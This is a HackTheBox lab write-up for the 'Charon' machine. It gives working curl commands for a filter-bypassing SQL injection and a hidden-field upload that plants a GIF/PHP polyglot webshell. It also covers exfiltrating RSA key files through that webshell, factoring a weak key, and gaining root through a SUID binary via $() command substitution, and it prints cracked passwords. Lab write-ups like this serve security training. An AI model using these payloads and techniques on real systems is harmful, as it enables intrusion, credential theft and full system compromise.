HTB: Charon Writeup

Charon - HackTheBox Writeup

Machine Information

AttributeDetails
NameCharon
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.44.29
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐☆☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐⭐

Summary

Charon exposes only SSH and a single Apache vhost running a heavily modified CMS (“SuperCMS”). The only way in is a hand-filtered SQL injection in the password-reset flow (cmsdata/forgot.php), which requires bypassing a case-sensitive keyword blacklist and satisfying an “output must look like an email” constraint before it will leak anything. The dumped admin hash cracks only with rule-mangled wordlists, and the CMS’s image upload form hides a base64-encoded field name that lets an attacker rename the uploaded file — the classic bypass to plant a PHP webshell disguised as a GIF. From there, a weak 256-bit RSA key protecting a second user’s password can be factored trivially via FactorDB, and the final root path abuses a SUID binary that whitelists its argument prefix but forgets to blacklist shell command substitution.

TL;DR: forgot.php case-filter/email-format SQLi (uniOn bypass) → dump operators creds → crack admin MD5 (john --rules=All) → CMS login → base64 hidden-field upload rename → GIF-polyglot PHP webshell → RCE as www-data → exfil weak 256-bit RSA key/ciphertext → FactorDB factors n → decrypt password → SSH as decoder (user.txt) → SUID /usr/local/bin/supershell allows $() command substitution → root.txt.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port sweep, service/version detection
nmap -sC -sV -p- --min-rate 3000 -T4 10.129.44.29

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Frozen Yogurt Shop

Only two services. No obvious version-specific CVEs for OpenSSH 7.2p2 or Apache 2.4.18 that apply here — the vulnerable surface is entirely in custom application code, not the stack.

Service Enumeration

The web root (“Frozen Yogurt Shop”) sits on top of a /cmsdata/ path. Directory listing on /cmsdata/ itself is blocked:

Terminal window
curl -s -i http://10.129.44.29/cmsdata/
# HTTP/1.1 403 Forbidden

but individual scripts inside it are directly reachable. cmsdata/forgot.php returns 200 and renders a password-reset form:

<form method="post" action="forgot.php">
<input type="text" name="email" placeholder="email" required="required" />
</form>

Vulnerability Assessment

  • cmsdata/forgot.php — single POST parameter email, backed by a raw SQL query. Prime SQLi candidate.
  • CMS login (cmsdata/login.php) exists but requires credentials — the SQLi is the path to get them.
  • Image upload functionality (cmsdata/upload.php) reachable post-auth — client-side-only filetype validation.

Initial Foothold

Exploitation Path

1. Baseline the injection point.

Terminal window
curl -s -X POST --data-urlencode "email=a@b.com" \
http://10.129.44.29/cmsdata/forgot.php
# <h2> User not found with that email!

A normal, non-existent email returns a clean “not found” message — confirming the parameter reaches the database and errors are visible in the response.

2. Discover and bypass the filter.

The application blacklists SQL keywords, but the check is case-sensitive: union/UNION are blocked, uniOn is not. On top of that, the endpoint enforces two extra constraints that aren’t obvious from a plain UNION test:

  • the submitted email value must itself pass a valid-email-format check, and
  • whatever the query returns must also look like an email address (the app appends it to Email sent to: X), so every extracted value has to be wrapped in concat(col, "@example.com").
Terminal window
# Confirm database() extraction works once wrapped as an email-shaped string
curl -s -X POST --data-urlencode \
'email=a@b.c'"'"' uniOn select 1,2,3,concat(database(),"@example.com") -- -' \
http://10.129.44.29/cmsdata/forgot.php
# <h2> Email sent to: supercms@example.com=>2

Database name confirmed: supercms.

3. Enumerate the real column names.

Public references for this CMS assume single-underscore column names (_username_/_password_), but this instance’s schema differs — enumerating information_schema.columns directly (rather than trusting assumed names) was required:

Terminal window
# table_name=0x6f70657261746f7273 is hex for 'operators' — avoids quoting issues
for lim in 0 1 2 3 4 5; do
curl -s -X POST --data-urlencode \
"email=a@b.c' uniOn select 1,2,3,concat(column_name,\"@example.com\") FROM information_schema.columns WHERE table_name=0x6f70657261746f7273 limit $lim,1 -- -" \
http://10.129.44.29/cmsdata/forgot.php | grep -iE "Email sent"
done
=== col 0 === id@example.com
=== col 1 === __username_@example.com
=== col 2 === __password_@example.com
=== col 3 === email@example.com

The real columns carry a double leading underscore (__username_, __password_) — one underscore off from what a generic writeup would assume, confirming these values had to be discovered live rather than copied.

4. Dump credentials.

Terminal window
curl -s -X POST --data-urlencode \
'email=a@b.c'"'"' uniOn select 1,2,3,concat(__username_,"@example.com") FROM supercms.operators limit 0,1 -- -' \
http://10.129.44.29/cmsdata/forgot.php
# decoder@example.com
curl -s -X POST --data-urlencode \
'email=a@b.c'"'"' uniOn select 1,2,3,concat(__password_,"@example.com") FROM supercms.operators limit 0,1 -- -' \
http://10.129.44.29/cmsdata/forgot.php
# <redacted>@example.com

Two operators with password hashes came back: decoder and super_cms_adm.

5. Crack the admin hash.

Terminal window
echo "<redacted>" > /dev/shm/h.txt
# Plain rockyou pass misses it — needs mangling rules
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt --rules=All /dev/shm/h.txt
john --format=raw-md5 --show /dev/shm/h.txt
# ?:tamarro

super_cms_adm : tamarro. (The decoder operator hash cracks trivially to the literal word password — MD5 of password is a well-known value — but that CMS-side password is a dead end; the real decoder OS account is reached later via RSA, not this hash.)

6. Log in to the CMS.

Terminal window
curl -s -i -c cj.txt -X POST \
--data-urlencode "user=super_cms_adm" --data-urlencode "pass=tamarro" \
http://10.129.44.29/cmsdata/login.php
# HTTP/1.1 302 Found
# Location: menu.php

7. Find the hidden upload rename field.

menu.php links to upload.php. Viewing its raw HTML (not just the rendered form) reveals a commented-out field:

<input type="file" name="image" />
<!-- <input type=hidden name="dGVzdGZpbGUx"> -->
Terminal window
echo dGVzdGZpbGUx | base64 -d
# testfile1

Client-side JS (scripts/my.js) only whitelists .jpg/.gif/.png for the image field — trivially bypassed since validation never happens server-side either. The real trick is the hidden field: submitting testfile1=<name>.php makes the server rename the stored upload to that filename regardless of the checked extension.

8. Build the polyglot and upload it.

Terminal window
# GIF89a; magic header satisfies any image-signature check; PHP payload follows
printf 'GIF89a;\n<?php system($_GET["c"]); ?>\n' > sh.gif
curl -s -b cj.txt \
-F "image=@sh.gif;type=image/gif" \
-F "testfile1=sh.php" \
http://10.129.44.29/cmsdata/upload.php
# Success:../images/sh.php

The relative path in the success message (../images/sh.php) shows the file landed in the web root’s /images/ directory, not under /cmsdata/ — the upload handler writes one directory above the CMS subfolder.

9. Confirm RCE.

Terminal window
curl -s "http://10.129.44.29/images/sh.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as www-data confirmed.


Privilege Escalation

www-data → decoder (user.txt)

Enumerating /home/decoder/ through the webshell turns up an RSA-encrypted secret rather than a plaintext password:

Terminal window
curl -s "http://10.129.44.29/images/sh.php" --data-urlencode "c=ls -la /home/decoder/" -G
-rw-r--r-- 1 decoder freeeze 138 Jun 23 2017 decoder.pub
-rw-r--r-- 1 decoder freeeze 32 Jun 23 2017 pass.crypt
-r-------- 1 decoder freeeze 33 Jul 21 16:05 user.txt
Terminal window
# Exfil both files through the webshell
curl -s "http://10.129.44.29/images/sh.php" --data-urlencode "c=cat /home/decoder/decoder.pub" -G > decoder.pub
curl -s "http://10.129.44.29/images/sh.php" --data-urlencode "c=base64 /home/decoder/pass.crypt" -G | base64 -d > pass.crypt
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALxHhYGPVMYmx3vzJbPPAEa10NETXrV3
mI9wJizmFJhrAgMBAAE=
-----END PUBLIC KEY-----
Terminal window
openssl rsa -pubin -in decoder.pub -text -noout
Public-Key: (256 bit)
Modulus:
00:bc:47:85:81:8f:54:c6:26:c7:7b:f3:25:b3:cf:
00:46:b5:d0:d1:13:5e:b5:77:98:8f:70:26:2c:e6:
14:98:6b
Exponent: 65537 (0x10001)

A 256-bit RSA modulus is nowhere near safe — it’s trivially factorable, since general-purpose factoring algorithms (GNFS, Pollard’s rho/ECM) handle numbers this small in well under a second. RsaCtfTool (the standard tool for this) wasn’t installed on the jump box, and local factoring via sympy.factorint hit environment issues (jump box /tmp was 100% full, and a stray /dev/shm/dis.py shadowed Python’s stdlib dis module and broke sympy’s import chain). Rather than fight the environment, the modulus was handed to FactorDB, a public database of pre-factored/factorable numbers:

Terminal window
python3 -c 'print(int("bc4785818f54c626c77bf325b3cf0046b5d0d1135eb577988f70262ce614986b",16))'
# 85161183100445121230463008656121855194098040675901982832345153586114585729131
Terminal window
curl -s "http://factordb.com/api?query=85161183100445121230463008656121855194098040675901982832345153586114585729131"
{"id":1100000000938338779,"status":"FF","factors":[["280651103481631199181053614640888768819",1],["303441468941236417171803802700358403049",1]]}

status: FF means fully factored — both primes returned instantly.

# Standard RSA decryption once p and q are known
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long
n = int("bc4785818f54c626c77bf325b3cf0046b5d0d1135eb577988f70262ce614986b", 16)
e = 65537
p = 280651103481631199181053614640888768819
q = 303441468941236417171803802700358403049
assert p * q == n
c = bytes_to_long(open("pass.crypt", "rb").read())
d = inverse(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))
# b'\x02\x11\x96\xa9\x31\xfb\x13\xd4\x36\xba\x00nevermindthebollocks'

The leading bytes are PKCS#1 v1.5 padding; stripping them leaves the plaintext password: nevermindthebollocks.

Terminal window
ssh decoder@10.129.44.29
# password: nevermindthebollocks
id
# uid=1001(decoder) gid=1001(freeeze) groups=1001(freeeze)
cat /home/decoder/user.txt
# <redacted>

decoder → root (root.txt)

Terminal window
ls -la /usr/local/bin/supershell
# -rwsr-x--- 1 root freeeze 9120 Jun 24 2017 /usr/local/bin/supershell
strings /usr/local/bin/supershell

Key strings from the binary:

usage: supershell <cmd>
/bin/ls
|`&><'"\[]{};#

Reverse-engineering the logic from strings alone: the binary takes one argument, requires it to start with /bin/ls, and rejects the argument if it contains any of | ` & > < ' " \ [ ] { } ; #. Critically, that blacklist omits $, (, ), and whitespace — which is exactly what’s needed for shell command substitution. Since the binary is SUID root (owned root:freeeze, setuid bit set) and ultimately shells out via system(), anything inside $() executes with root privileges before the (irrelevant) /bin/ls... prefix ever runs.

Terminal window
supershell "/bin/ls\$(cat /root/root.txt)"
sh: 1: /bin/ls<REDACTED_FLAG_CONTENTS>: not found

The cat /root/root.txt inside $() executes as root first; its output gets substituted directly into the /bin/ls... string, which then fails to execute as a binary — but the substituted flag content is visible in the resulting “not found” error. Verified with $(id) too:

Terminal window
supershell "/bin/ls\$(id)"
sh: 1: /bin/lsuid=0(root): not found

uid=0(root) confirms the substitution ran with root privileges. Both flags recovered:

Terminal window
supershell "/bin/ls\$(cat /root/root.txt) \$(cat /home/decoder/user.txt)"

Attack Chain Summary

nmap (22/80 only)
→ /cmsdata/forgot.php SQLi (case filter bypass "uniOn" + email-shaped output constraint)
→ information_schema enumeration (double-underscore column names: __username_/__password_)
→ dump operators table (decoder, super_cms_adm)
→ crack super_cms_adm MD5 with john --rules=All → "tamarro"
→ CMS login (cmsdata/login.php)
→ upload.php: base64-hidden field "testfile1" renames upload
→ GIF89a; polyglot + PHP payload → /images/sh.php
→ RCE as www-data
→ exfil /home/decoder/{decoder.pub,pass.crypt} (256-bit RSA)
→ FactorDB factors n → decrypt pass.crypt → "nevermindthebollocks"
→ SSH as decoder → user.txt
→ SUID /usr/local/bin/supershell: whitelists "/bin/ls" prefix, blacklist misses $()
→ supershell '/bin/ls$(cat /root/root.txt)' → root.txt

Tools Used

ToolPurpose
nmapPort/service scanning
curlManual SQLi payload delivery, CMS auth, upload, webshell interaction
john (John the Ripper)Cracking the super_cms_adm MD5 hash (--rules=All)
opensslInspecting the RSA public key (modulus/exponent)
FactorDB (factordb.com API)Factoring the weak 256-bit RSA modulus
pycryptodome (Python)Manual RSA decryption once p/q were known
sshpass / sshAuthenticating as decoder with the recovered password
stringsReverse-engineering the SUID supershell binary’s argument whitelist/blacklist

Key Learnings

Techniques Practiced

  • Bypassing case-sensitive SQL keyword blacklists (uniOn vs UNION)
  • SQLi output-shape constraints — forcing every extracted value through concat(col, "@example.com") to survive an email-format check on the response
  • Blind schema discovery via information_schema.columns instead of trusting assumed column names
  • Hash cracking with rule-based mangling (--rules=All) where plain wordlist attacks fail
  • Defeating client-side-only file upload validation and hidden-field upload renaming (base64-obfuscated field name)
  • GIF/PHP polyglot construction (GIF89a; magic bytes + embedded PHP) for webshell upload bypass
  • Factoring an undersized (256-bit) RSA key via FactorDB instead of local computation
  • Manual RSA decryption and PKCS#1 v1.5 padding recognition
  • Identifying and exploiting a SUID binary’s incomplete argument blacklist via shell command substitution ($())

Lessons Learned

  1. A 403 on a directory listing (/cmsdata/) doesn’t mean the scripts inside are unreachable — individual files can still return 200.
  2. Filter bypass logic often hides in the shape of the expected output, not just the input — this app required responses to look like valid emails, not just inputs.
  3. Never trust column/table names from a prior writeup or memory of a similar CMS; enumerate information_schema directly, since even a single underscore difference (_password_ vs __password_) breaks every subsequent query.
  4. Password cracking should escalate from plain wordlist → rule-mangled wordlist before concluding a hash is uncrackable.
  5. Client-side JavaScript validation is not a security boundary — always inspect raw HTML/comments for hidden fields that reveal server-side behavior.
  6. RSA key size matters: 256-bit keys are trivially factorable by public tools like FactorDB, no exotic mathematics required locally.
  7. SUID whitelist binaries that only check the argument’s literal characters (not properly escaping shell metacharacters) remain exploitable via command substitution even with an extensive-looking blacklist — $(), backticks, and pipes are not interchangeable, and missing even one is fatal.
  8. When a sandboxed working environment behaves oddly (disk full, stdlib import failures), don’t assume the exploit is wrong — check the environment itself first (stray files shadowing modules, full /tmp).

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup — Charon, prepared by Alexander Reid (Arrexel), Document No. D17.100.10. Used to confirm the SQLi filter-bypass technique, the base64-hidden upload field mechanism, and the SUID supershell argument-whitelist bypass concept; all IPs, hashes, passwords, and command output in this writeup come from the actual solve, not the reference document.